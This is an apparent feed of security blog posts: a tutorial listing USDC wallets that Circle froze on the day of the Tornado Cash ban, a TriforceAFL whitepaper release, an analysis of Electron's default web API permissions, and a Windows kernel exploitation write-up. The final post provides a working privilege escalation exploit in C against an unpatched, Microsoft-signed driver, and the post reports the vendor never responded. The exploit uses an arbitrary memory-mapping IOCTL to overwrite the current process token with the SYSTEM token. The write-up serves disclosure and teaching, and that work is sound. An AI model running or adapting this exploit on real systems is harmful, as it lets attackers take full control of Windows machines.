One way would be to go through every block and transaction and then dissect them to find transactions to the blacklist() function. However, this would be quite inefficient and extremely slow. Fortunately, Circle implemented an event that is issued every time an address is banned. And unlike transactions, events are indexed.

If we check the blacklist() function code, we can see the event on the last line.

The _account argument is also indexed.

To access logs, we can use the RPC method eth_getLogs() of an Ethereum node. This method accepts a few parameters:

  • fromBlock and toBlock
  • a contract address
  • and an array called topics

Topics are indexed parameters of an event, and they can be viewed as filters. The first topic, topic[0] is always the event signature, a keccak256 hash of the event name and parameters. This is easily computed using the ethers.js library.


The hash in our case is:

  • 0xffa4e6181777692565cf28528fc88fd1516ea86b56da075235fa575af6a4b855

The other topics are the arguments. For Blacklisted() it is an address. Since we want to find all events, this argument is left empty.

Even with an event filter, searching for the entire blockchain would take too long as there have been too many transactions since the genesis block. In this example we will only list Blacklisted() events that happened on the day of the ban, on 08 August 2022.

  • 2022-08-08 00:00
    • block number: 15298283
  • 2022-08-08 23:59
    • block number: 15304705
const filter = {
   address: USDC_ERC20_ADDRESS,
   fromBlock: 15298283,
   toBlock: 15304705,
   topics: [ethers.utils.id("Blacklisted(address)")],

Using ethers.js, we can call the getLogs() method using our filter.

const logs = await this.provider.getLogs(filter);

/* Sorting unique addresses. */
this.addresses = [
   ...(new Set() <
   string >
   logs.map((log) =>

All we need to do now is to display the wallet addresses and frozen balances:

const symbol = await this.usdcContract.symbol();
console.log(`[+] ${this.addresses.length} wallets address found:`);

await Promise.all(
   this.addresses.map(async (address) => {
      const amount = await this.usdcContract.balanceOf(address);
         ` - ${address}: ${ethers.utils.formatUnits(amount, "mwei")} ${symbol}`

Running the script from the terminal gives us all the wallets that were banned that day.

> ts-node src/findbanned.ts
[+] 38 wallets address found:
- 0x8589427373D6D84E98730D7795D8f6f8731FDA16: 0.0 USDC
- 0xd90e2f925DA726b50C4Ed8D0Fb90Ad053324F31b: 0.0 USDC
- 0xDD4c48C0B24039969fC16D1cdF626eaB821d3384: 149.752 USDC
- 0xD4B88Df4D29F5CedD6857912842cff3b20C8Cfa3: 0.0 USDC
- 0x722122dF12D4e14e13Ac3b6895a86e84145b6967: 0.0 USDC
- 0xFD8610d20aA15b7B2E3Be39B396a1bC3516c7144: 0.0 USDC
- 0xF60dD140cFf0706bAE9Cd734Ac3ae76AD9eBC32A: 0.0 USDC
- 0xd96f2B1c14Db8458374d9Aca76E26c3D18364307: 3900.0 USDC
- 0x910Cbd523D972eb0a6f4cAe4618aD62622b39DbF: 0.0 USDC
- 0x4736dCf1b7A3d580672CcE6E7c65cd5cc9cFBa9D: 71000.0 USDC
- 0xb1C8094B234DcE6e03f10a5b673c1d8C69739A00: 0.0 USDC
- 0xA160cdAB225685dA1d56aa342Ad8841c3b53f291: 0.0 USDC
- 0xBA214C1c1928a32Bffe790263E38B4Af9bFCD659: 0.0 USDC
- 0x22aaA7720ddd5388A3c0A3333430953C68f1849b: 0.0 USDC


- 0x2717c5e28cf931547B621a5dddb772Ab6A35B701: 0.0 USDC
- 0x178169B423a011fff22B9e3F3abeA13414dDD0F1: 0.0 USDC

As mentioned previously, full code is available here.


Crypto assets are of a new kind of asset and a blooming technology. Understanding how Circle banned Tornado Cash users was a good excuse to understand key concepts and to explore the Ethereum blockchain. However we have only scratched the surface. Other assets may have different implementations, restrictions, different trade-offs. So always remember the famous principle: Don’t trust, verify!

The post How Circle Banned Tornado Cash Users appeared first on Nettitude Labs.

Whitepaper – Project Triforce: Run AFL On Everything (2017)

27 September 2022 at 19:28

Six years ago, NCC Group researchers Tim Newsham and Jesse Hertz released TriforceAFL – an extension of the American Fuzzy Lop (AFL) fuzzer which supports full-system fuzzing using QEMU – but unfortunately the associated whitepaper for this work was never published. Today, we’re releasing it for the curious reader and historical archives alike. While fuzzing has come a long way since 2016/2017, we hope that this paper will provide some valuable additional detail on TriforceAFL to the research community beyond the original TriforceAFL blog post (2016).


In this paper we present Project Triforce, our extension of American Fuzzy Lop (AFL),
allowing it to fuzz virtual machines running under QEMU’s full system emulation mode.
We used this framework to build TriforceLinuxSyscallFuzzer (TLSF) syscall fuzzer, which
has already found several kernel vulnerabilities. This paper details the iteration and
design of both TriforceAFL and TLSF, both of which encountered some interesting
obstacles and discoveries. Then, we’ll analyze crashes found by the fuzzer, and talk
about future directions, including our work fuzzing OpenBSD.

This whitepaper may be downloaded below:

Diving Into Electron Web API Permissions

26 September 2022 at 22:00


When a Chrome user opens a site on the Internet that requests a permission, Chrome displays a large prompt in the top left corner. The prompt remains visible on the page until the user interacts with it, reloads the page, or navigates away. The permission prompt has Block and Allow buttons, and an option to close it. On top of this, Chrome 98 displays the full prompt only if the permission was triggered “through a user gesture when interacting with the site itself”. These precautionary measures are the only things preventing a malicious site from using APIs that could affect user privacy or security.

Chrome Permission Prompt

Since Chrome implements this pop-up box, how does Electron handle permissions? From Electron’s documentation:

“In Electron the permission API is based on Chromium and implements the same types of permissions. By default, Electron will automatically approve all permission requests unless the developer has manually configured a custom handler. While a solid default, security-conscious developers might want to assume the very opposite.”

This approval can lead to serious security and privacy consequences if the renderer process of the Electron application were to be compromised via unsafe navigation (e.g., open redirect, clicking links) or cross-site scripting. We decided to investigate how Electron implements various permission checks to compare Electron’s behavior to that of Chrome and determine how a compromised renderer process may be able to abuse web APIs.

Webcam, Microphone, and Screen Recording Permissions

The webcam, microphone, and screen recording functionalities present a serious risk to users when approval is granted by default. Without implementing a permission handler, an Electron app’s renderer process will have access to a user’s webcam and microphone. However, screen recording requires the Electron app to have configured a source via a desktopCapturer in the main process. This leaves little room for exploitability from the renderer process, unless the application already needs to record a user’s screen.

Electron groups these three into one permission, “media”. In Chrome, these permissions are separate. Electron’s lack of separation between these three is problematic because there may be cases where an application only requires the microphone, for example, but must also be granted access to record video. By default, the application would not have the capability to deny access to video without also denying access to audio. For those wondering, modern Electron apps seemingly handling microphone & video permissions separately, are only tracking and respecting the user choices in their UI. An attacker with a compromised renderer could still access any media.

It is also possible for media devices to be enumerated even when permission has not been granted. In Chrome however, an origin can only see devices that it has permission to use. The API navigator.mediaDevices.enumerateDevices() will return all of the user’s media devices, which can be used to fingerprint the user’s devices. For example, we can see a label of “Default - MacBook Pro Microphone (Built-in)”, despite having a deny-all permission handler.


To deny access to all media devices (but not prevent enumerating the devices), a permission handler must be implemented in the main process that rejects requests for the “media” permission.

File System Access API

The File System Access API normally allows access to read and write to local files. In Electron, reading files has been implemented but writing to files has not been implemented and permission to write to files is always denied. However, access to read files is always granted when a user selects a file or directory. In Chrome, when a user selects a file or directory, Chrome notifies you that you are granting access to a specific file or directory until all tabs of that site are closed. In addition, Chrome prevents access to directories or files that are deemed too sensitive to disclose to a site. These are both considerations mentioned in the API’s standard (discussed by the WICG).

  • “User agents should try to make sure that users are aware of what exactly they’re giving websites access to” – implemented in Chrome with the notification after choosing a file or directory
Chrome's prompt: Let site view files?
  • “User agents are encouraged to restrict which directories a user is allowed to select in a directory picker, and potentially even restrict which files the user is allowed to select” – implemented in Chrome by preventing users from sharing certain directories containing system files. In Electron, there is no such notification or prevention. A user is allowed to select their root directory or any other sensitive directory, potentially granting more access than intended to a website. There will be no notification alerting the user of the level of access they will be granting.

Clipboard, Notification, and Idle Detection APIs

For these three APIs, the renderer process is granted access by default. This means a compromised renderer process can read the clipboard, send desktop notifications, and detect when a user is idle.


Access to the user’s clipboard is extremely security-relevant because some users will copy passwords or other sensitive information to the clipboard. Normally, Chromium denies access to reading the clipboard unless it was triggered by a user’s action. However, we found that adding an event handler for the window’s load event would allow us to read the clipboard without user interaction.

Cliboard Reading Callback
Cliboard Reading Callback

To deny access to this API, deny access to the “clipboard-read” permission.


Sending desktop notifications is another security-relevant feature because desktop notifications can be used to increase the success rate of phishing or other social engineering attempts.

PoC for Notification API Attack

To deny access to this API, deny access to the “notifications” permission.

Idle Detection

The Idle Detection API is much less security-relevant, but its abuse still represents a violation of user privacy.

Idle Detection API abuse

To deny access to this API, deny access to the “idle-detection” permission.

Local Font Access API

For this API, the renderer process is granted access by default. Furthermore, the main process never receives a permission request. This means that a compromised renderer process can always read a user’s fonts. This behavior has significant privacy implications because the user’s local fonts can be used as a fingerprint for tracking purposes and they may even reveal that a user works for a specific company or organization. Yes, we do use custom fonts for our reports!

Local Font Access API abuse

Security Hardening for Electron App Permissions

What can you do to reduce your Electron application’s risk? You can quickly assess if you are mitigating these issues and the effectiveness of your current mitigations using ElectroNG, the first SAST tool capable of rapid vulnerability detection and identifying missing hardening configurations. Among its many features, ElectroNG features a dedicated check designed to identify if your application is secure from permission-related abuses:

ElectroNG Permission Check

A secure application will usually deny all the permissions for dangerous web APIs by default. This can be achieved by adding a permission handler to a Session as follows:

  ses.setPermissionRequestHandler((webContents, permission, callback) => {
    return callback(false);

If your application needs to allow the renderer process permission to access some web APIs, you can add exceptions by modifying the permission handler. We recommend checking if the origin requesting permission matches an expected origin. It’s a good practice to also set the permission request handler to null first to force any permission to be requested again. Without this, revoked permissions might still be available if they’ve already been used successfully.



As we discussed, these permissions present significant risk to users even in Electron applications setting the most restrictive webPreferences settings. Because of this, it’s important for security teams & developers to strictly manage the permissions that Electron will automatically approve unless the developer has manually configured a custom handler.

Windows Kernel Exploitation – Arbitrary Memory Mapping (x64)

24 September 2022 at 11:09
By: xct

In this post, we will develop an exploit for the HW driver. I picked this one because I looked for some real-life target to practice on and saw a post by Avast that mentioned vulnerabilities in an old version of this driver (Version 4.8.2 from 2015), that was used as part of a bigger exploit chain. Unfortunately, I could not find this one available for download so I ended up using the most recent version, 4.9.8 at the time of writing this post. This driver is signed by Microsoft so we can load it even without a kernel debugger attached (the certificate is expired since 2021 but that does not really prevent loading).

Advisory: https://ssd-disclosure.com/ssd-advisory-mts-hw-driver-escalation-of-privileges/

I started by trying to find the IOCTLs mentioned in the post but they do not exist anymore. Luckily the drivers provided some other relatively easy exploitable looking IOCTLs so I gave it a shot.

Vulnerability Discovery

Before starting the look at the driver in IDA I gave this excellent intro post by Voidsec another read to see what kind of starting points to look for:

  • MmMapIoSpace
  • rdmsr
  • wrmsr

At the end of the post, he mentions looking for MmMapIoSpace as an exercise which is something that we have in this driver as well. In the end, I ended up using a different function though.

After opening the driver IDA we look at the imports and can see a couple of functions that handle memory mappings:

Besides the already mentioned MmMapIoSpace there are a couple of other interesting functions here that we can potentially use, including MmMapLockedPages. Let’s see what both functions do:

PVOID MmMapIoSpace(
  [in] PHYSICAL_ADDRESS    PhysicalAddress,
  [in] SIZE_T              NumberOfBytes,

MmMapIoSpace allows mapping a physical memory address to a virtual (kernel-mode) address. This can be useful if you can control the arguments to the function, especially the first 2, through some IOCTL. In this driver, this is indeed the case with one of the IOCTLs but the memory is never mapped to a user-mode address afterward or returned, so I could not do much with it besides crashing the system (by mapping an invalid address). If this address would be mapped to a user-mode address and returned it can be exploited. There is an excellent post here on how to do it. Let’s look at the other function for now:

PVOID MmMapLockedPages(
  [in] PMDL MemoryDescriptorList,
  [in] __drv_strictType(KPROCESSOR_MODE / enum _MODE,__drv_typeConst)KPROCESSOR_MODE AccessMode

This function (which is deprecated according to Microsoft) allows mapping a virtual address to another one and takes in a pointer to a Memory Descriptor List (MDL). Usually, a call to this function is preceded by the following calls:

PMDL IoAllocateMdl(
  [in, optional]      __drv_aliasesMem PVOID VirtualAddress,
  [in]                ULONG                  Length,
  [in]                BOOLEAN                SecondaryBuffer,
  [in]                BOOLEAN                ChargeQuota,
  [in, out, optional] PIRP                   Irp

void MmBuildMdlForNonPagedPool(
  [in, out] PMDL MemoryDescriptorList

IoAllocateMdl takes a virtual memory address & length (we ignore the other arguments for now) and will result in an MDL that is large enough to map our requested buffer size (but not filled yet). The following MmBuildMdlForNonPagedPool will then update the structure with the information about the underlying physical pages that back the virtual memory we requested. Finally MmMapLockedPages takes this pointer to the MDL & returns another address in user-mode virtual memory where the physical pages described by the MDL have been mapped to.

This essentially means that if the 3 functions are executed in the order described, we create a second virtual address that maps to the same physical address as the initial virtual address.

With this theory out of the way, let’s see if and how we can reach this chain of functions. By following the references in IDA we can see that it’s used a few times throughout the program but only in 2 functions:

The path we are going to follow is sub_2E80 (also worth exploring the other one though). When we look at this function we first see a couple of checks being done on the arguments before it eventually ends up in the sequence of functions we just discussed:

For the checks inside the function, we will have a look in the debugger later since some of them might just not matter much to us (e.g. some might be automatically passed without any work from our side). For now, we focus on discovering how to reach this function in the first place. We look for references again and find quite a few:

All those refs are coming from the same function which is essentially a big switch/if/else construct for the different IOCTLs that this driver supports. Here we just go for the first one and follow the back-edges in IDA until we hit an IOCTL at 0x3F70:

cmp     [rsp+0D8h+var_24], 9C406500h
jz      loc_52D8

So with a potential IOCTL that can get close to the code path we want, we quickly check the driver start function which calls sub_1E80 and has the string we need in order to use CreateFile to get a handle to the driver.

Now we can write our first template and debug the driver:

#include "windows.h"
#include <stdio.h>

#define IOCTL_01 0x9C406500

int main() {
    DWORD index = 0;
    DWORD bytesWritten = 0;

    if (hDriver == INVALID_HANDLE_VALUE)
        printf("[!] Error while creating a handle to the driver: %d\n", GetLastError());

    QWORD* in = (QWORD*)((QWORD)uInBuf);
    *(in + index++) = 0x4141414142424242;
    *(in + index++) = 0x4343434344444444; 
    *(in + index++) = 0x4545454546464646;              

    DeviceIoControl(hDriver, IOCTL_01, (LPVOID)uInBuf, 0x1000, uOutBuf, 0x1000, &bytesWritten, NULL);

    return 0;

Before running the driver, we set a breakpoint on the IOCTL comparison so we can follow the execution flow in the debugger:

0: kd>.reload
0: kd> lm m hw64
Browse full module list
start             end                 module name
fffff806`5c1a0000 fffff806`5c1aa000   hw64       (deferred)
0: kd> ba e1 hw64+0x3F70
0: kd> g
Breakpoint 0 hit
fffff806`5c1a3f70 81bc24b40000000065409c cmp dword ptr [rsp+0B4h],9C406500h

Now that we hit the breakpoint, we continue to step through the code and inspect the source of every comparison to make sure that we track any dependencies on our input buffer. After a few instructions, we hit a call to our target function at hw64+0x532b:

1: kd> 
fffff806`5c1a532b e850dbffff      call    hw64+0x2e80 (fffff806`5c1a2e80)
1: kd> r
rax=000000009c406500 rbx=ffffbb08113f9540 rcx=ffffbb080fc63000
rdx=0000000000000000 rsi=0000000000000002 rdi=0000000000000001
rip=fffff8065c1a532b rsp=ffffcb0d5189e700 rbp=ffffcb0d5189e881
1: kd> dq rcx
ffffbb08`0fc63000  41414141`42424242 43434343`44444444
ffffbb08`0fc63010  45454545`46464646 00000000`00000000
1: kd> t

We can see that this function takes our input buffer as the first argument – more precisely a copy of it since we can see that it’s at a kernel address. We step into the function and look for comparisons again.

1: kd> 
fffff806`5c1a2ef0 488b8424e0000000 mov     rax,qword ptr [rsp+0E0h]
1: kd> 
fffff806`5c1a2ef8 4883781000      cmp     qword ptr [rax+10h],0
1: kd> dq rax+10
ffffbb08`0fc63010  45454545`46464646 

Part of our input is compared to zero – if we trace the instructions in IDA we can see that in order to get to our vulnerable code block we need to not take the jump. So this is fine for now. In the next basic block the same comparison is done again and we also pass the check. This is repeated once more and we finally get to the block at hw64+0x2F60 that has the call to IoAllocateMdl.

1: kd> 
fffff806`5c1a2f7f ff155b410000    call    qword ptr [hw64+0x70e0 (fffff806`5c1a70e0)]
1: kd> r
rax=ffffbb080fc63000 rbx=ffffbb08113f9540 rcx=4545454546464646
rdx=0000000044444444 rsi=0000000000000002 rdi=0000000000000001
rip=fffff8065c1a2f7f rsp=ffffcb0d5189e620 rbp=ffffcb0d5189e881
 r8=0000000000000000  r9=0000000000000000

Let’s match the arguments to the function signature:

PMDL IoAllocateMdl(
  [in, optional]      __drv_aliasesMem PVOID VirtualAddress,  // 4545454546464646
  [in]                ULONG                  Length,          // 0000000044444444 
  [in]                BOOLEAN                SecondaryBuffer, // 0
  [in]                BOOLEAN                ChargeQuota,     // 0
  [in, out, optional] PIRP                   Irp              // 0 (on stack)

We can see that we control the VirtualAddress it’s getting an MDL for and the size. The values we provided are obviously useless but they helped us to trace our user input. The function actually doesn’t complain and we can step over it (since it only allocates the memory for the MDL). If we step further we hit MmBuildMdlForNonPagedPool:

1: kd> 
fffff806`5c1a2f97 ff153b410000    call    qword ptr [hw64+0x70d8 (fffff806`5c1a70d8)]
1: kd> r
rax=ffffbb080d010000 rbx=ffffbb08113f9540 rcx=ffffbb080d010000

Which maps to this call:

void MmBuildMdlForNonPagedPool(
  [in, out] PMDL MemoryDescriptorList // ffffbb080d010000

This will now result in a BSOD since the size we requested is way too large and the address is bogus.

Invalid system memory was referenced.  This cannot be protected by try-except.
Typically the address is just plain bad or it is pointing at freed memory.
Arg1: ffffa9a2a2a32320, memory referenced.

At this point, we know what our input buffer should look like to get an arbitrary memory mapping and we can continue with the exploitation section.


After having discovered the vulnerable IOCTL it’s time to start the exploitation process. Assuming we can map any kernel virtual address into a user-mode address – what could a good target be? A commonly used payload for kernel exploits is token stealing shellcode. We do not really need shellcode for escalating privileges though because we can copy the token of a SYSTEM process to our current process using the mapping mechanism as a read/write primitive (data-only attack). Executing shellcode is also possible but not in scope for this post. The plan of attack is as follows:

  • Get the address of a SYSTEM process and read the Token pointer
  • Get the address of our current process and overwrite the Token pointer with the one from the SYSTEM process

We can use NtQuerySystemInformation to get the address of a SYSTEM process in memory without using any exploit. We are then going to use our mapping primitive to map the memory where the process is located to a user-mode address. This allows us to read the fields of the EPROCESS structure including the Token, UniqueProcessId and ActiveProcessLinks, of which we can get offsets via the debugger:

1: kd> dt _EPROCESS
   +0x440 UniqueProcessId  : Ptr64 Void
   +0x448 ActiveProcessLinks : _LIST_ENTRY
   +0x4b8 Token            : _EX_FAST_REF

We are updating the PoC to map the SYSTEM process & compare that the data of the mapped area & the original virtual address are indeed the same:

#include "windows.h"
#include <stdio.h>

#define IOCTL_01 0x9C406500

#define SystemHandleInformation 0x10
#define SystemHandleInformationSize 1024 * 1024 * 2

using fNtQuerySystemInformation = NTSTATUS(WINAPI*)(
    ULONG SystemInformationClass,
    PVOID SystemInformation,
    ULONG SystemInformationLength,
    PULONG ReturnLength

    USHORT UniqueProcessId;
    USHORT CreatorBackTraceIndex;
    UCHAR ObjectTypeIndex;
    UCHAR HandleAttributes;
    USHORT HandleValue;
    PVOID Object;
    ULONG GrantedAccess;

    ULONG NumberOfHandles;

typedef NTSTATUS(NTAPI* _NtQueryIntervalProfile)(
    DWORD ProfileSource,
    PULONG Interval

QWORD getSystemEProcess() {
    ULONG returnLenght = 0;
    fNtQuerySystemInformation NtQuerySystemInformation = (fNtQuerySystemInformation)GetProcAddress(GetModuleHandle(L"ntdll"), "NtQuerySystemInformation");
    PSYSTEM_HANDLE_INFORMATION handleTableInformation = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, SystemHandleInformationSize);
    NtQuerySystemInformation(SystemHandleInformation, handleTableInformation, SystemHandleInformationSize, &returnLenght);
    SYSTEM_HANDLE_TABLE_ENTRY_INFO handleInfo = (SYSTEM_HANDLE_TABLE_ENTRY_INFO)handleTableInformation->Handles[0];
    return (QWORD)handleInfo.Object;

QWORD mapArbMem(QWORD addr, HANDLE hDriver) {
    DWORD index = 0;
    DWORD bytesWritten = 0;

    QWORD* in = (QWORD*)((QWORD)uInBuf);
    *(in + index++) = 0x4141414142424242;
    *(in + index++) = 0x4343434300001000; // size
    *(in + index++) = addr;               // addr

    DeviceIoControl(hDriver, IOCTL_01, (LPVOID)uInBuf, 0x1000, uOutBuf, 0x1000, &bytesWritten, NULL);
    QWORD* out = (QWORD*)((QWORD)uOutBuf);
    QWORD mapped = *(out + 2);
    return mapped;

int main() {
    if (hDriver == INVALID_HANDLE_VALUE)
        printf("[!] Error while creating a handle to the driver: %d\n", GetLastError());

    printf("[>] Exploiting driver..\n");
    QWORD systemProc = getSystemEProcess();
    printf("System Process: %llx\n", systemProc);

    QWORD systemProcMap = mapArbMem(systemProc, hDriver);    
    printf("System Process Mapping: %llx\n", systemProcMap);

    return 0;

The getchar() gives us the chance to copy the addresses out and the DebugBreak() conveniently breaks in the context of our process.

[>] Exploiting driver..
System Process: ffff850120cab040
System Process Mapping: 1ce40870040
1: kd> dq ffff850120cab040
ffff8501`20cab040  00000000`00000003 ffff8501`20cab048
ffff8501`20cab050  ffff8501`20cab048 ffff8501`20cab058
1: kd> dq 1ce40870040
000001ce`40870040  00000000`00000003 ffff8501`20cab048
000001ce`40870050  ffff8501`20cab048 ffff8501`20cab058

As expected, we got a mapping of the target address. We did not cover the output buffer yet – essentially if we inspect it after triggering the IOCTL with valid arguments we get something like the following back, which has the mapped user-mode address as the 3rd value:

 ffff850127c16970 4343434300001000 1ce40870040 00000000 ...

At this point, all that is left to do is read the SYSTEM token and then iterate through the ActiveProcessLinks linked list until we find our own process. When we find it, we overwrite our own Token with the SYSTEM one and are done. The final exploit implementing this can be found below:

#include "windows.h"
#include <stdio.h>

// Author: @xct_de
// Target: Windows 11 (10.0.22000)

#define IOCTL_01 0x9C406500

#define SystemHandleInformation 0x10
#define SystemHandleInformationSize 1024 * 1024 * 2

using fNtQuerySystemInformation = NTSTATUS(WINAPI*)(
    ULONG SystemInformationClass,
    PVOID SystemInformation,
    ULONG SystemInformationLength,
    PULONG ReturnLength

    USHORT UniqueProcessId;
    USHORT CreatorBackTraceIndex;
    UCHAR ObjectTypeIndex;
    UCHAR HandleAttributes;
    USHORT HandleValue;
    PVOID Object;
    ULONG GrantedAccess;

    ULONG NumberOfHandles;

typedef NTSTATUS(NTAPI* _NtQueryIntervalProfile)(
    DWORD ProfileSource,
    PULONG Interval

QWORD getSystemEProcess() {
    ULONG returnLenght = 0;
    fNtQuerySystemInformation NtQuerySystemInformation = (fNtQuerySystemInformation)GetProcAddress(GetModuleHandle(L"ntdll"), "NtQuerySystemInformation");
    PSYSTEM_HANDLE_INFORMATION handleTableInformation = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, SystemHandleInformationSize);
    NtQuerySystemInformation(SystemHandleInformation, handleTableInformation, SystemHandleInformationSize, &returnLenght);
    SYSTEM_HANDLE_TABLE_ENTRY_INFO handleInfo = (SYSTEM_HANDLE_TABLE_ENTRY_INFO)handleTableInformation->Handles[0];
    return (QWORD)handleInfo.Object;

QWORD mapArbMem(QWORD addr, HANDLE hDriver) {
    DWORD index = 0;
    DWORD bytesWritten = 0;

    QWORD* in = (QWORD*)((QWORD)uInBuf);
    *(in + index++) = 0x4141414142424242;
    *(in + index++) = 0x4343434300001000; // size
    *(in + index++) = addr;               // addr

    DeviceIoControl(hDriver, IOCTL_01, (LPVOID)uInBuf, 0x1000, uOutBuf, 0x1000, &bytesWritten, NULL);
    QWORD* out = (QWORD*)((QWORD)uOutBuf);
    QWORD mapped = *(out + 2);
    return mapped;

int main() {
    if (hDriver == INVALID_HANDLE_VALUE)
        printf("[!] Error while creating a handle to the driver: %d\n", GetLastError());

    printf("[>] Exploiting driver..\n");
    QWORD systemProc = getSystemEProcess();
    QWORD systemProcMap = mapArbMem(systemProc, hDriver);
    QWORD systemToken = (QWORD)(*(QWORD*)(systemProcMap + 0x4b8));
    printf("[>] System Token: 0x%llx\n", systemToken);

    DWORD currentProcessPid = GetCurrentProcessId();
    BOOL found = false;
    QWORD cMapping = systemProcMap;
    DWORD cPid = 0;
    QWORD cTokenPtr = 0;
    while (!found) {
        QWORD readAt = (QWORD)(*(QWORD*)(cMapping + 0x448)); 
        cMapping = mapArbMem(readAt - 0x448, hDriver);
        cPid = (DWORD)(*(DWORD*)(cMapping + 0x440));
        cTokenPtr = (QWORD)(*(QWORD*)(cMapping + 0x4b8));
        if (cPid == currentProcessPid) {
            found = true;
    if (!found) {
    printf("[>] Stealing Token..\n");
    *(QWORD*)(cMapping + 0x4b8) = systemToken;
    printf("[>] Restoring Token..\n");
    *(QWORD*)(cMapping + 0x4b8) = cTokenPtr;
    return 0;


I reported the vulnerability to SSD which then contacted the vendor. Unfortunately, the vendor never responded.

The post Windows Kernel Exploitation – Arbitrary Memory Mapping (x64) appeared first on Vulndev.